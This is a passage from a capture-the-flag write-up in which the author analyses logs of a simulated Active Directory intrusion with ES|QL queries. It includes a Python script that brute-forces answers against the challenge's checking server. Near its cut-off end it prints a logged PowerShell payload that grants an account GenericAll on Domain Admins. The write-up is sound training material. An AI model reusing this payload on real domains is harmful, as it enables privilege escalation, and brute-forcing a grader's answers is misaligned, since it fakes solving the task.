domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.&lt;/h3&gt;&lt;p&gt;I spent so much time trying to find the right event and not understanding if the issue was the event I found or the timestamp that I eventually gave up…and bruteforced it :)&lt;/p&gt;
&lt;p&gt;Knowing that this event pertains to a Windows machine (event source) and that it must have happened after the download (&lt;code&gt;2024-09-15T14:36:26.000Z&lt;/code&gt;), I extracted all subsequent timestamps and built a quick python script to bruteforce the question:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; requests&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; json &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; sys&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;from&lt;/span&gt; termcolor &lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; colored&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;answerQuestion&lt;/span&gt; (session, questionId, answer):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	response = session.get(&lt;span class=&#34;string&#34;&gt;&amp;quot;https://hhc24-elfstack.holidayhackchallenge.com/get_question/&amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(questionId))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	response_json = json.loads(response.text)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	token = response_json[&lt;span class=&#34;string&#34;&gt;&amp;#x27;token&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	question = response_json[&lt;span class=&#34;string&#34;&gt;&amp;#x27;question&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;&amp;#125; --&amp;gt; TRYING ANSWER: &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(question, answer))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	answer_json = &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;:token,&lt;span class=&#34;string&#34;&gt;&amp;quot;answer&amp;quot;&lt;/span&gt;:answer&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	response = session.post(&lt;span class=&#34;string&#34;&gt;&amp;quot;https://hhc24-elfstack.holidayhackchallenge.com/check_answer&amp;quot;&lt;/span&gt;, json=answer_json)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; json.loads(response.text)[&lt;span class=&#34;string&#34;&gt;&amp;#x27;correct&amp;#x27;&lt;/span&gt;]:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (colored(&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; ANSWER IS CORRECT&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;cyan&amp;quot;&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;else&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (colored(&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; WRONG ANSWER&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;red&amp;quot;&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mode = &lt;span class=&#34;string&#34;&gt;&amp;quot;hard&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;known_answers = &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;known_answers.txt&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;).read().split(&lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;test_dict = &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;dict.txt&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;).read().split(&lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;session = requests.Session()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; SETTING MODE TO &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(mode))	&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;response = session.post(&lt;span class=&#34;string&#34;&gt;&amp;quot;https://hhc24-elfstack.holidayhackchallenge.com/set_mode&amp;quot;&lt;/span&gt;, json=&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;mode&amp;quot;&lt;/span&gt;:mode&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;total_questions = json.loads(response.text)[&lt;span class=&#34;string&#34;&gt;&amp;#x27;total_questions&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;questionId = &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; answer &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; known_answers:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	answerQuestion (session, questionId, answer)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	questionId += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correct_answer = &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;i = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; questionId &amp;lt; total_questions &lt;span class=&#34;keyword&#34;&gt;and&lt;/span&gt; i &amp;lt; &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(test_dict) &lt;span class=&#34;keyword&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; correct_answer:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	correct_answer = answerQuestion (session, questionId, test_dict[i])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	i += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;As questions need to be addressed sequentially, the file &lt;code&gt;known_answers.txt&lt;/code&gt; contains the already known answers and &lt;code&gt;dict.txt&lt;/code&gt; contains the answers to attempt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; The script ran returning the timestamp &lt;code&gt;2024-09-16T11:10:12-04:00&lt;/code&gt;, being the answer. Checking this timestamp it shows a failed LDAP bind attempt toward &lt;code&gt;dc01.northpole.local&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-15-The-attacker-attempted-to-perform-an-ADCS-ESC1-attack-but-certificate-services-denied-their-certificate-request-Submit-the-name-of-the-software-responsible-for-preventing-this-initial-attack&#34;&gt;&lt;a href=&#34;#Question-15-The-attacker-attempted-to-perform-an-ADCS-ESC1-attack-but-certificate-services-denied-their-certificate-request-Submit-the-name-of-the-software-responsible-for-preventing-this-initial-attack&#34; class=&#34;headerlink&#34; title=&#34;Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.&#34;&gt;&lt;/a&gt;Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;&amp;gt;=&lt;/span&gt; &amp;quot;2024-09-16T11:10:12-04:00&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Category &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*Certificate Request Denied*&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.Category, event.Description, event.ReasonForRejection&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.Category&lt;/th&gt;
&lt;th&gt;event.Description&lt;/th&gt;
&lt;th&gt;event.ReasonForRejection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Certification Services - Certificate Request Denied&lt;/td&gt;
&lt;td&gt;A certificate request was made for a certificate template, but the request was denied because it did not meet the criteria.&lt;/td&gt;
&lt;td&gt;KringleGuard EDR flagged the certificate request.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Investigating failure events related to a potential ADCS ESC1, we can see that the software preventing the attack was the EDR &lt;code&gt;KringleGuard&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-16-We-think-the-attacker-successfully-performed-an-ADCS-ESC1-attack-Can-you-find-the-name-of-the-user-they-successfully-requested-a-certificate-on-behalf-of&#34;&gt;&lt;a href=&#34;#Question-16-We-think-the-attacker-successfully-performed-an-ADCS-ESC1-attack-Can-you-find-the-name-of-the-user-they-successfully-requested-a-certificate-on-behalf-of&#34; class=&#34;headerlink&#34; title=&#34;Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?&#34;&gt;&lt;/a&gt;Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;&amp;gt;=&lt;/span&gt; &amp;quot;2024-09-16T11:10:12-04:00&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Category &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*Certification Services*&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Keywords &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;Audit Success&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.ModifierInformation_UserName &lt;span class=&#34;keyword&#34;&gt;IS&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;NOT NULL&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.Description, event.ModifierInformation_UserName&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.Description&lt;/th&gt;
&lt;th&gt;event.ModifierInformation_UserName&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;A security descriptor was modified on a certificate template.&lt;/td&gt;
&lt;td&gt;nutcrakr&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Investigating success events related to a potential ADCS ESC1, we can see the user &lt;code&gt;nutcrakr&lt;/code&gt;, being the answer to the question.&lt;/p&gt;
&lt;h3 id=&#34;Question-17-One-of-our-file-shares-was-accessed-by-the-attacker-using-the-elevated-user-account-from-the-ADCS-attack-Submit-the-folder-name-of-the-share-they-accessed&#34;&gt;&lt;a href=&#34;#Question-17-One-of-our-file-shares-was-accessed-by-the-attacker-using-the-elevated-user-account-from-the-ADCS-attack-Submit-the-folder-name-of-the-share-they-accessed&#34; class=&#34;headerlink&#34; title=&#34;Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.&#34;&gt;&lt;/a&gt;Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;&amp;gt;=&lt;/span&gt; &amp;quot;2024-09-16T11:10:12-04:00&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Category &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;File Share&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.ShareInformation_ShareName&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event.ShareInformation_ShareName&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;\\*\ADMIN$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;\\*\IPC$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;\\*\SYSVOL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;\\*\WishLists&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Investigating file share events we can see a non-standard one named &lt;code&gt;WishLists&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-18-The-naughty-attacker-continued-to-use-their-privileged-account-to-execute-a-PowerShell-script-to-gain-domain-administrative-privileges-What-is-the-password-for-the-account-the-attacker-used-in-their-attack-payload-QUERY&#34;&gt;&lt;a href=&#34;#Question-18-The-naughty-attacker-continued-to-use-their-privileged-account-to-execute-a-PowerShell-script-to-gain-domain-administrative-privileges-What-is-the-password-for-the-account-the-attacker-used-in-their-attack-payload-QUERY&#34; class=&#34;headerlink&#34; title=&#34;Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?QUERY:&#34;&gt;&lt;/a&gt;Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Probably due to some log parsing&amp;#x2F;upload issue, I couldn’t do this using ELK, so I used &lt;code&gt;grep&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;grep &lt;span class=&#34;string&#34;&gt;&amp;quot;ScriptBlockText&amp;quot;&lt;/span&gt; log_chunk_complete.log | grep nutcrakr &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&amp;lt;134&amp;gt;1 2024-09-16T11:33:12-04:00 SleighRider.northpole.local WindowsEvent - - - &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;MessageNumber&amp;quot;&lt;/span&gt;: 1, &lt;span class=&#34;string&#34;&gt;&amp;quot;MessageTotal&amp;quot;&lt;/span&gt;: 1, &lt;span class=&#34;string&#34;&gt;&amp;quot;ScriptBlockText&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Add-Type -AssemblyName System.DirectoryServices\n&lt;span class=&#34;variable&#34;&gt;$ldapConnString&lt;/span&gt; = \&amp;quot;LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\&amp;quot;\n&lt;span class=&#34;variable&#34;&gt;$username&lt;/span&gt; = \&amp;quot;nutcrakr\&amp;quot;\n&lt;span class=&#34;variable&#34;&gt;$pswd&lt;/span&gt; = &amp;#x27;fR0s3nF1@k3_s&amp;#x27;\n&lt;span class=&#34;variable&#34;&gt;$nullGUID&lt;/span&gt; = [guid]&amp;#x27;00000000-0000-0000-0000-000000000000&amp;#x27;\n&lt;span class=&#34;variable&#34;&gt;$propGUID&lt;/span&gt; = [guid]&amp;#x27;00000000-0000-0000-0000-000000000000&amp;#x27;\n&lt;span class=&#34;variable&#34;&gt;$IdentityReference&lt;/span&gt; = (New-Object System.Security.Principal.NTAccount(\&amp;quot;northpole.local\\&lt;span class=&#34;variable&#34;&gt;$username&lt;/span&gt;\&amp;quot;)).Translate([System.Security.Principal.SecurityIdentifier])\n&lt;span class=&#34;variable&#34;&gt;$inheritanceType&lt;/span&gt; = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None\n&lt;span class=&#34;variable&#34;&gt;$ACE&lt;/span&gt; = New-Object System.DirectoryServices.ActiveDirectoryAccessRule &lt;span class=&#34;variable&#34;&gt;$IdentityReference&lt;/span&gt;, ([System.DirectoryServices.ActiveDirectoryRights] \&amp;quot;GenericAll\&amp;quot;), ([System.Security.AccessControl.AccessControlType] \&amp;quot;Allow\&amp;quot;), &lt;span class=&#34;variable&#34;&gt;$propGUID&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$inheritanceType&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$nullGUID&lt;/span&gt;\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt; = New-Object System.DirectoryServices.DirectoryEntry &lt;span class=&#34;variable&#34;&gt;$ldapConnString&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$username&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$pswd&lt;/span&gt;\n&lt;span class=&#34;variable&#34;&gt;$secOptions&lt;/span&gt; = &lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.get_Options()\n&lt;span class=&#34;variable&#34;&gt;$secOptions&lt;/span&gt;.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.RefreshCache()\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.get_ObjectSecurity().AddAccessRule(&lt;span class=&#34;variable&#34;&gt;$ACE&lt;/span&gt;)\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.CommitChanges()\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.dispose()\n&lt;span class=&#34;variable&#34;&gt;$ldapConnString&lt;/span&gt; = \&amp;quot;LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\&amp;quot;\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt; = New-Object System.DirectoryServices.DirectoryEntry &lt;span class=&#34;variable&#34;&gt;$ldapConnString&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$username&lt;/span&gt;, &lt;span class=&#34;variable&#34;&gt;$pswd&lt;/span&gt;\n&lt;span class=&#34;variable&#34;&gt;$user&lt;/span&gt; = New-Object System.Security.Principal.NTAccount(\&amp;quot;northpole.local\\&lt;span class=&#34;variable&#34;&gt;$username&lt;/span&gt;\&amp;quot;)\n&lt;span 